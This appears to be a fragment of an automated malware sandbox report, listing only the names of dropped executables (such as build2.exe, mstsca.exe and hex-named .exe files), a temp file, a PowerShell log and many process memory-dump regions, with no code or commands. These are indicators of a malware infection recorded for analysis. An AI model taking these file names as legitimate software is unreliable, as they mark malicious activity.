D45C.exe
D45C.exe
E40C.exe
E40C.exe
E40C.exe
E40C.exe
E40C.exe
E4E8.exe
E4E8.exe
E797.exe
E797.exe
E873.exe
E873.exe
EAA5.exe
EAA5.exe
EAF4.exe
EAF4.exe
EC3C.exe
EC3C.exe
F4C9.exe
F4C9.exe
F4C9.exe
F4C9.exe
Gpwangiscadatahub.exe
Gpwangiscadatahub.exe
Qytyaworpiotpd.tmp
Qytyaworpiotpd.tmp
E40C.exe
build2.exe
build2.exe
build2.exe
build3.exe
build3.exe
mstsca.exe
mstsca.exe
powershell.exe.log
StartupProfileData-NonInteractive
memory/400-355-0x00007FF6D0C30000-0x00007FF6D1CB1000-memory.dmp
memory/776-317-0x0000000000730000-0x0000000000739000-memory.dmp
memory/776-229-0x0000000002BD0000-0x0000000002BD9000-memory.dmp
memory/776-256-0x0000000000400000-0x0000000002B9D000-memory.dmp
memory/776-228-0x0000000002BF9000-0x0000000002C09000-memory.dmp
memory/776-318-0x0000000000720000-0x000000000072F000-memory.dmp
memory/776-242-0x0000000000400000-0x0000000002B9D000-memory.dmp
memory/872-417-0x000001F7877B0000-0x000001F7877D0000-memory.dmp
memory/1004-265-0x0000000000400000-0x0000000002C7C000-memory.dmp
memory/1004-262-0x00000000049D0000-0x0000000004AF0000-memory.dmp
memory/1004-260-0x00000000048E4000-0x00000000049C5000-memory.dmp
memory/1184-279-0x00000229E2430000-0x00000229E26EB000-memory.dmp
memory/1184-275-0x00000229E3E90000-0x00000229E3FD0000-memory.dmp
memory/1184-276-0x00000229E3E90000-0x00000229E3FD0000-memory.dmp
memory/1184-278-0x0000000000150000-0x00000000003FA000-memory.dmp
memory/1448-350-0x0000000000400000-0x0000000000436000-memory.dmp
memory/1456-156-0x000000000208E000-0x000000000211F000-memory.dmp
memory/1456-151-0x00000000022C0000-0x00000000023DB000-memory.dmp
memory/2112-290-0x00007FFAF9DF0000-0x00007FFAFA8B1000-memory.dmp
memory/2256-320-0x0000000000930000-0x0000000000939000-memory.dmp
memory/2256-322-0x0000000000940000-0x0000000000945000-memory.dmp
memory/2312-283-0x0000000000170000-0x0000000000178000-memory.dmp
memory/2312-316-0x00007FFAF9DF0000-0x00007FFAFA8B1000-memory.dmp
memory/2312-284-0x00007FFAF9DF0000-0x00007FFAFA8B1000-memory.dmp
memory/2448-173-0x0000000000400000-0x0000000000537000-memory.dmp
memory/2448-172-0x0000000000400000-0x0000000000537000-memory.dmp
memory/2448-217-0x0000000000400000-0x0000000000537000-memory.dmp
memory/2448-170-0x0000000000400000-0x0000000000537000-memory.dmp
memory/2464-312-0x0000000000BC0000-0x0000000000BC7000-memory.dmp
memory/2464-313-0x0000000000BB0000-0x0000000000BBB000-memory.dmp
memory/2896-160-0x0000000000400000-0x0000000000456000-memory.dmp
memory/2896-159-0x00000000005BD000-0x00000000005D3000-memory.dmp
memory/3156-209-0x00000000006C0000-0x000000000070C000-memory.dmp
memory/3156-207-0x000000000077D000-0x00000000007AA000-memory.dmp
memory/3388-285-0x0000000005260000-0x0000000005DBB000-memory.dmp
memory/3388-273-0x0000000004C00000-0x0000000004D40000-memory.dmp
memory/3388-272-0x0000000004C00000-0x0000000004D40000-memory.dmp
memory/3388-271-0x0000000007440000-0x0000000007580000-memory.dmp
memory/3388-270-0x0000000007440000-0x0000000007580000-memory.dmp
memory/3388-269-0x0000000004C00000-0x0000000004D40000-memory.dmp
memory/3388-268-0x0000000004C00000-0x0000000004D40000-memory.dmp
memory/3388-267-0x0000000005260000-0x0000000005DBB000-memory.dmp
memory/3388-266-0x0000000005260000-0x0000000005DBB000-memory.dmp
memory/3540-171-0x000000000053E000-0x00000000005CF000-memory.dmp
memory/3836-305-0x00000000007C0000-0x000000000089A000-memory.dmp
memory/3932-189-0x0000000000CF0000-0x000000000116E000-memory.dmp
memory/3988-395-0x00007FF759160000-0x00007FF75A1E1000-memory.dmp
memory/3988-300-0x0000000004C90000-0x0000000004C9A000-memory.dmp
memory/3988-299-0x0000000004AE0000-0x0000000004B72000-memory.dmp
memory/3988-298-0x0000000000270000-0x0000000000278000-memory.dmp
memory/4080-179-0x0000000000E00000-0x0000000001276000-memory.dmp
memory/4080-188-0x0000000000E00000-0x0000000001276000-memory.dmp
memory/4204-319-0x0000000007750000-0x0000000007DCA000-memory.dmp
memory/4288-165-0x0000000000400000-0x0000000000537000-memory.dmp
memory/4288-153-0x0000000000400000-0x0000000000537000-memory.dmp
memory/4288-155-0x0000000000400000-0x0000000000537000-memory.dmp
memory/4288-158-0x0000000000400000-0x0000000000537000-memory.dmp
memory/4288-157-0x0000000000400000-0x0000000000537000-memory.dmp
memory/4468-326-0x00000000010F0000-0x0000000001112000-memory.dmp
memory/4468-327-0x00000000010C0000-0x00000000010E7000-memory.dmp
memory/4644-399-0x0000000000400000-0x0000000000416000-memory.dmp
memory/4656-294-0x00007FFAF9DF0000-0x00007FFAFA8B1000-memory.dmp
memory/4684-324-0x0000000000680000-0x000000000068C000-memory.dmp
memory/4684-323-0x0000000000690000-0x0000000000696000-memory.dmp
memory/4788-208-0x0000000000400000-0x0000000000460000-memory.dmp
memory/4788-230-0x00000000509C0000-0x0000000050A52000-memory.dmp
memory/4788-258-0x0000000000400000-0x0000000000460000-memory.dmp
memory/4788-211-0x0000000000400000-0x0000000000460000-memory.dmp
memory/4788-255-0x0000000000400000-0x0000000000460000-memory.dmp
memory/4788-205-0x0000000000400000-0x0000000000460000-memory.dmp
memory/4788-214-0x0000000000400000-0x0000000000460000-memory.dmp
memory/4908-166-0x0000000000400000-0x0000000002BAB000-memory.dmp
memory/4908-150-0x0000000000400000-0x0000000002BAB000-memory.dmp
memory/4908-149-0x0000000002C20000-0x0000000002C29000-memory.dmp
memory/4908-148-0x0000000002C6D000-0x0000000002C7D000-memory.dmp
memory/4920-213-0x0000000005470000-0x00000000054D6000-memory.dmp
memory/4920-216-0x0000000005B20000-0x0000000005B3E000-memory.dmp
memory/4920-210-0x0000000004D10000-0x0000000005338000-memory.dmp
memory/4920-220-0x0000000006090000-0x00000000060B2000-memory.dmp
memory/4920-212-0x0000000004B90000-0x0000000004BB2000-memory.dmp
memory/4920-203-0x0000000002220000-0x0000000002256000-memory.dmp
memory/4920-218-0x0000000006BC0000-0x0000000006C56000-memory.dmp
memory/4920-215-0x0000000005550000-0x00000000055B6000-memory.dmp
memory/4920-219-0x0000000005FC0000-0x0000000005FDA000-memory.dmp
memory/4920-221-0x0000000007210000-0x00000000077B4000-memory.dmp
memory/5016-132-0x000000000054E000-0x0000000000564000-memory.dmp
memory/5016-135-0x0000000000400000-0x0000000000456000-memory.dmp
memory/5016-134-0x0000000000400000-0x0000000000456000-memory.dmp
memory/5016-133-0x0000000000520000-0x0000000000529000-memory.dmp